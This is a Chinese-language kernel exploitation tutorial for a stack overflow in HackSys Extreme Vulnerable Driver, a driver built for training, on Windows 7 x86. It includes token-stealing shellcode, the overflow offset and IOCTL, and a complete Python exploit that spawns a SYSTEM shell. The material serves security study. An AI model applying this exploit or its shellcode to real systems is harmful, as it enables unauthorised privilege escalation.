HEVD内核漏洞 — Windows 7 x86 栈溢出
字数 1342 2025-08-24 10:10:13
HEVD内核漏洞利用教程:Windows 7 x86栈溢出
1. 概述
本教程详细讲解如何利用HackSys Extreme Vulnerable Driver (HEVD)中的栈溢出漏洞,实现在Windows 7 x86系统上的权限提升。HEVD是一个专门设计用于安全研究的漏洞驱动程序,运行在内核模式(ring 0)下。
2. 前置知识
2.1 内核驱动基础
- 内核驱动程序运行在ring 0权限
- 用户空间通过DeviceIoControl API与驱动通信
- IOCTL(Input/Output Control Code)指定要调用的驱动功能
2.2 关键API
CreateFileA
HANDLE CreateFileA(
LPCSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);
DeviceIoControl
BOOL DeviceIoControl(
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped
);
3. 漏洞分析
3.1 定位漏洞函数
- 使用IDA分析HEVD.sys
- 查找
IrpDeviceIoCtlHandler函数 - 跟踪到
TriggerStackOverflow函数
3.2 确定IOCTL代码
- 通过逆向分析确定触发栈溢出的IOCTL:
0x222003 - 该IOCTL对应
FILE_DEVICE_UNKNOWN设备类型
3.3 栈溢出机制
- 驱动将用户提供的缓冲区直接复制到固定大小的栈缓冲区
- 无长度检查导致栈溢出
- 可覆盖返回地址控制EIP
4. 漏洞利用步骤
4.1 环境准备
- 设置内核调试环境(WinDBG)
- 加载HEVD符号
- 设置断点:
bp HEVD!TriggerStackOverflow
4.2 确定偏移量
- 发送3000字节的"A"字符导致崩溃
- 使用
msf-pattern_create生成唯一模式 - 确定EIP覆盖偏移为2080字节
4.3 构造利用代码
4.3.1 获取驱动句柄
def create_file():
hevd = kernel32.CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
0xC0000000, # GENERIC_READ | GENERIC_WRITE
0,
None,
0x3, # OPEN_EXISTING
0,
None
)
return hevd
4.3.2 准备Shellcode
shellcode = bytearray(
"\x60" # pushad
"\x31\xc0" # xor eax,eax
"\x64\x8b\x80\x24\x01\x00\x00" # mov eax,[fs:eax+0x124]
"\x8b\x40\x50" # mov eax,[eax+0x50]
"\x89\xc1" # mov ecx,eax
"\xba\x04\x00\x00\x00" # mov edx,0x4
"\x8b\x80\xb8\x00\x00\x00" # mov eax,[eax+0xb8]
"\x2d\xb8\x00\x00\x00" # sub eax,0xb8
"\x39\x90\xb4\x00\x00\x00" # cmp [eax+0xb4],edx
"\x75\xed" # jnz 0x1a
"\x8b\x90\xf8\x00\x00\x00" # mov edx,[eax+0xf8]
"\x89\x91\xf8\x00\x00\x00" # mov [ecx+0xf8],edx
"\x61" # popad
"\x5d" # pop ebp
"\xc2\x08\x00" # ret 0x8
)
4.3.3 设置内存权限
usermode_addr = (c_char * len(shellcode)).from_buffer(shellcode)
ptr = addressof(usermode_addr)
kernel32.VirtualProtect(
usermode_addr,
c_int(len(shellcode)),
c_int(0x40), # PAGE_EXECUTE_READWRITE
byref(c_ulong())
)
4.3.4 构造并发送Payload
payload = struct.pack("<L", ptr)
buf = "A" * 2080 + payload
kernel32.DeviceIoControl(
hevd,
0x222003, # Vulnerable IOCTL
buf,
len(buf),
None,
0,
byref(c_ulong()),
None
)
4.4 Shellcode解析
该Shellcode实现了令牌窃取(Token Stealing)技术:
- 获取当前进程的EPROCESS结构
- 遍历进程链表找到SYSTEM进程
- 复制SYSTEM进程的令牌到当前进程
- 恢复寄存器状态
- 正确处理函数返回(pop ebp; ret 8)
5. 完整利用代码
import ctypes, sys, struct
from ctypes import *
from subprocess import *
import time
kernel32 = windll.kernel32
def create_file():
hevd = kernel32.CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
0xC0000000,
0,
None,
0x3,
0,
None
)
if (not hevd) or (hevd == -1):
print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError()))
sys.exit(1)
else:
print("[*] Successfully retrieved handle to device-driver: " + str(hevd))
return hevd
def send_buf(hevd):
shellcode = bytearray(
"\x60" # pushad
"\x31\xc0" # xor eax,eax
"\x64\x8b\x80\x24\x01\x00\x00" # mov eax,[fs:eax+0x124]
"\x8b\x40\x50" # mov eax,[eax+0x50]
"\x89\xc1" # mov ecx,eax
"\xba\x04\x00\x00\x00" # mov edx,0x4
"\x8b\x80\xb8\x00\x00\x00" # mov eax,[eax+0xb8]
"\x2d\xb8\x00\x00\x00" # sub eax,0xb8
"\x39\x90\xb4\x00\x00\x00" # cmp [eax+0xb4],edx
"\x75\xed" # jnz 0x1a
"\x8b\x90\xf8\x00\x00\x00" # mov edx,[eax+0xf8]
"\x89\x91\xf8\x00\x00\x00" # mov [ecx+0xf8],edx
"\x61" # popad
"\x5d" # pop ebp
"\xc2\x08\x00" # ret 0x8
)
print("[*] Allocating shellcode character array...")
usermode_addr = (c_char * len(shellcode)).from_buffer(shellcode)
ptr = addressof(usermode_addr)
print("[*] Marking shellcode RWX...")
result = kernel32.VirtualProtect(
usermode_addr,
c_int(len(shellcode)),
c_int(0x40),
byref(c_ulong())
)
if result != 0:
print("[*] Successfully marked shellcode RWX.")
else:
print("[!] Failed to mark shellcode RWX.")
sys.exit(1)
payload = struct.pack("<L", ptr)
buf = "A" * 2080 + payload
buf_length = len(buf)
print("[*] Sending payload to driver...")
result = kernel32.DeviceIoControl(
hevd,
0x222003,
buf,
buf_length,
None,
0,
byref(c_ulong()),
None
)
if result != 0:
print("[*] Payload sent.")
else:
print("[!] Unable to send payload to driver.")
sys.exit(1)
try:
print("[*] Spawning cmd shell with SYSTEM privs...")
Popen('start cmd', shell=True)
except:
print("[!] Failed to spawn cmd shell.")
sys.exit(1)
hevd = create_file()
send_buf(hevd)
6. 调试技巧
- 设置符号路径:
sympath + <HEVD.pdb路径> - 重新加载符号:
.reload - 启用内核调试输出:
ed Kd_DEFAULT_Mask 8 - 设置断点:
bp HEVD!TriggerStackOverflow - 单步执行:
p(按Enter重复)
7. 注意事项
- 确保驱动缓冲区大小不超过0x800字节(2048字节)
- Shellcode必须正确处理函数返回(pop ebp; ret 8)
- 用户空间缓冲区需要设置为可执行(PAGE_EXECUTE_READWRITE)
- 在Windows 7 x86上测试通过
- 使用Python 2.7以避免字符串编码问题
8. 扩展阅读
- Windows内核驱动架构
- IOCTL编码机制
- 内核对象和EPROCESS结构
- 令牌权限模型
- 其他内核漏洞利用技术
通过本教程,您应该能够理解并成功利用HEVD驱动中的栈溢出漏洞,实现从用户模式到内核模式的权限提升。